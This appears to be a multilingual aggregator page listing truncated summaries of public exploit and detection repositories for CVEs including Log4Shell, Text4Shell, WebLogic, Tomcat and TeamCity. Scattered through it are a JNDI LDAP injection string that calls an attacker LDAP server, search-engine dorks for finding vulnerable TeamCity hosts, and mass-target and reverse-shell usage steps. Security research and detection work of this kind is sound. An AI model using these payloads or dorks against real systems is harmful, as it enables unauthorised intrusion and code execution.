cve-2022-42889-text4shell

Mavenのインストール - maven-linux 1. fat jarを作成するためにMavenをインストールします。 root@kitploit: mvn clean install 2. Dockerビルド root@kitploit: docker build --tag=text4shell . 3. Docker実行 root@kitploit: docker run -p 80:8080 text4shell 4. アプリのテスト root@kitploit: http://localhost/text4shell/attack?search= 5...

CVE-2025-55182

CVE-2025-55182 Next.js Prototype Pollution CVE-2025-55182 is a critical prototype pollution vulnerability in nextjs that allows rce via improper input sanitization in the framework's request handling mechanism, this whole thing happens because nextjs is out here trusting JSON objects like a...

CVE-2014-4377

CoreGraphics 内存损坏 - CVE-2014-4377 Apple CoreGraphics 库在解析 PDF XObject 的色彩空间规范时未能验证输入，导致堆溢出条件。受影响的框架会为应用程序分配一个较小的堆内存，而输入中的可控数据可使其溢出。利用一个精心构造的 PDF 文件作为 HTML 图像，并结合信息泄露漏洞，此问题可导致任意代码执行。一个完全 100% 可靠且可移植的针对 IOS7.1.x. 上 MobileSafari 的利用程序可从 github 下载。 总结 标题：Apple CoreGraphics 内存损坏 CVE 名称：CVE-2014-4377...

log4j-exploit-fork-bomb

log4j-exploit-with-fork-bomb 💣💥💀 Proof of Concept: 利用 CVE-2021-44228 漏洞在远程服务器上启动 fork bomb 的示例 1. 创建攻击者的 LDAP 服务器（server 模块），该服务器将提供字符串和代码的表示（payload 模块） 2. 创建受害者示例（victim 模块），并将字符串传递给 Log4j JRE 版本 = 6u211, 7u201, 8u191 和 11.0.1 root@kitploit: $jndi:ldap://127.0.0.1:1389/anything...

log4j-cve-2021-44228-sample

log4jエクスプロイトの例 このリポジトリには、最近のlog4jエクスプロイトを悪用する動作サンプルが含まれています。実際のリモートコード実行は行いませんが、悪意のある攻撃者が脆弱なアプリケーションに自身のLDAPサーバへのコールを簡単に仕掛けられることを示しています。 このサンプルは、christophetd氏の優れたlog4j脆弱性アプリを利用しています: https://github.com/christophetd/log4shell-vulnerable-app 解説...

CVE-2021-44228-log4jVulnScanner-metasploit

CVE-2021-44228-log4jVulnScanner-metasploit 用于发现和模糊测试 Log4J RCE CVE-2021-44228 漏洞的开源检测与扫描工具 准备 POC root@kitploit: git clone https://github.com/TaroballzChen/CVE-2021-44228-log4jVulnScanner-metasploit cd CVE-2021-44228-log4jVulnScanner-metasploit mkdir -p /.msf4/modules/auxiliary/scanner/http cp...

cve-2021-21985_exp

cve-2021-21985 exploit 0x01 漏洞点 分析可见： https://attackerkb.com/topics/X85GKjaVER/cve-2021-21985?referrer=homerapid7-analysis 0x02 exploit 对beans对象进行重新构造，实现rce。 bean列表： root@kitploit: localizedMessageBundle vsanWorkerThreadFactory vsanThreadPoolImpl vsanServiceBundleActivator vsanServiceFactory...

CVE-2019-15029

CVE-2019-15029 FusionPBX v4.4.8 远程代码执行漏洞 CVE-2019-15029 的官方利用代码 Metasploit 模块 我编写了一个简单的 Metasploit 模块来利用此漏洞 fusionpbxservices.rb，你只需下载它并将其复制到 metasploit 模块目录中即可。...

CVE-2022-28108

Selenium Chrome RCE Exploit Extendido Este repositorio contiene una versión modificada de un módulo de Metasploit que explota una vulnerabilidad de Ejecución Remota de Código en versiones antiguas de Selenium Server Grid. Por favor, lea este README atentamente antes de usar este código...

CVE-2020-15778-SCP-Command-Injection-Check

CVE-2020-15778 – OpenSSH SCP 命令注入漏洞（检测脚本） 关于 CVE-2020-15778 是 OpenSSH（版本 ≤ 8.3p1）提供的 scp 工具中发现的一个命令注入漏洞。该问题允许攻击者在客户端系统上执行任意命令，前提是向 scp 传递了包含反引号的构造目标参数。 此仓库包含一个用 Bash 编写的安全检测与模拟脚本 。该脚本可帮助用户和系统管理员： 识别其系统的 scp 版本是否存在漏洞 了解漏洞的工作原理 测试并检测危险的命令输入（例如包含反引号的参数） 学习如何缓解和避免该漏洞 什么是 CVE-2020-15778？ 在 OpenSSH scp...

docker-CVE-2019-11043

用于检测 CVE-2019-11043 的 Docker 镜像和命令 CVE: CVE-2019-11043 描述: 在 PHP 7.1.x 低于 7.1.33、7.2.x 低于 7.2.24 以及 7.3.x 低于 7.3.11 的版本中，某些 FPM 配置下，FPM 模块可能会越过已分配的缓冲区，向为 FCGI 协议数据预留的空间写入数据，从而可能导致远程代码执行。 详情 : https://nvd.nist.gov/vuln/detail/CVE-2019-11043 Github 漏洞利用: https://github.com/neex/phuip-fpizdam 帮助...

INPGer

INPGer | CVE-2022-4063 - InPost Gallery 用于检测 CVE-2022-4063 - InPost Gallery install.sh sha1sum install.sh | grep 12345678 md5sum install.sh sha512sum install.sh bash install.sh 使用方法 bash inpger.sh yourlist.txt thread 参考 https://vulners.com/cve/CVE-2022-4063...

CVE-2020-2555

CVE-2020-2555 Weblogic com.tangosol.util.extractor.ReflectionExtractor RCE com.supeream.CVE20202555 root@kitploit: / author:Y4er.com gadget: BadAttributeValueExpException.readObject com.tangosol.util.filter.LimitFilter.toString com.tangosol.util.extractor.ChainedExtractor.extract...

CVE-2015-1635-POC

️⃣ CVE-2015-1635-POC HTTP.sys におけるリモートコード実行 MS15-034...

CVE-2020-9484

CVE-2020-9484 CVE-2020-9484 的 PoC CVE-2020-9484 的 PoC Apache Tomcat 反序列化远程代码执行（CVE-2020-9484） 阅读文档 » 开始使用 1. 克隆此仓库，然后你就可以使用 CVE-2020-9484，并在需要时修改源代码。 2. 下载 ysoserial jar 3. 将 CVE-2020-9484 和 ysoserial.jar 放在同一目录下 4. 获得 shell！ 用法 为了简化 CVE-2020-9484 的使用，我们编写了一个简单的 bash 脚本。 利用时，你需要准备一个 netcat 监听器。...

Awesome_shiro

Awesome-shiro CVE-2016-4437 ShiroBase64解码--AES解密--反序列化 环境 linux/win10 均可 python2/python3 均可 由于module下有ysoserial.jar 所以项目略大，多多包涵 本地搭建靶场 root@kitploit: docker pull medicean/vulapps:sshiro1 docker run -d -p 80:8080 medicean/vulapps:sshiro1 脚本使用 1、shirocrack.py 爆破模块使用 需要结合http://dnslog.cn/...

CVE-2024-24809-Proof-of-concept

CVE-2024-24809 详情 描述 Traccar 是一个开源 GPS 跟踪系统。6.0 之前的版本存在路径遍历和危险类型文件无限制上传漏洞。由于系统默认允许注册，攻击者可以通过注册账户获取普通用户权限，并利用此漏洞在任意文件夹下上传以 device. 为前缀的文件。攻击者可利用此漏洞进行钓鱼、跨站脚本攻击，并可能在服务器上执行任意命令。版本 6.0 包含针对此问题的补丁。 使用 root@kitploit: Fofa 查询 : app="traccar" root@kitploit: nuclei --target target.com -t CVE-2024-24809.yam...

CVE-2022-29464

CVE-2022-29464 WSO2 远程代码执行 CVE-2022-29464 使用方法 • 此漏洞利用仅适用于多个目标 python3 exploit.py --file urls.txt 参考 https://github.com/hakivvi/CVE-2022-29464...

CVE-2024-27198-RCE

赛博空间映射 Dork Fofa root@kitploit: app="JETBRAINS-TeamCity" ZoomEye root@kitploit: app:"JetBrains TeamCity" Hunter.how root@kitploit: product.name="TeamCity" Shodan root@kitploit: http.component:"teamcity" 使用方法 我使用的是 Python3.9。 root@kitploit: pip install requests urllib3 faker python...

webpwn3r

webpwn3r 这个项目已经多年未维护，它是在我开始学习 Python 时编写的，但仍然有人喜欢它 :D。它仅支持 python2.7 WebPwn3r - Web 应用程序安全扫描器。 作者：Ebrahim Hegazy - @Zigoo0 感谢：@lnxg33k, @dia2diab @Aelhemily, @okamalo 请将所有反馈和建议发送至：zigoo.blog'at'@gmail.com 使用方法： 1- python scan.py 2- 该工具会询问您是要扫描一个 URL 还是 URL 列表？ root@kitploit: 1- 输入数字 1 扫描单个 URL 2-...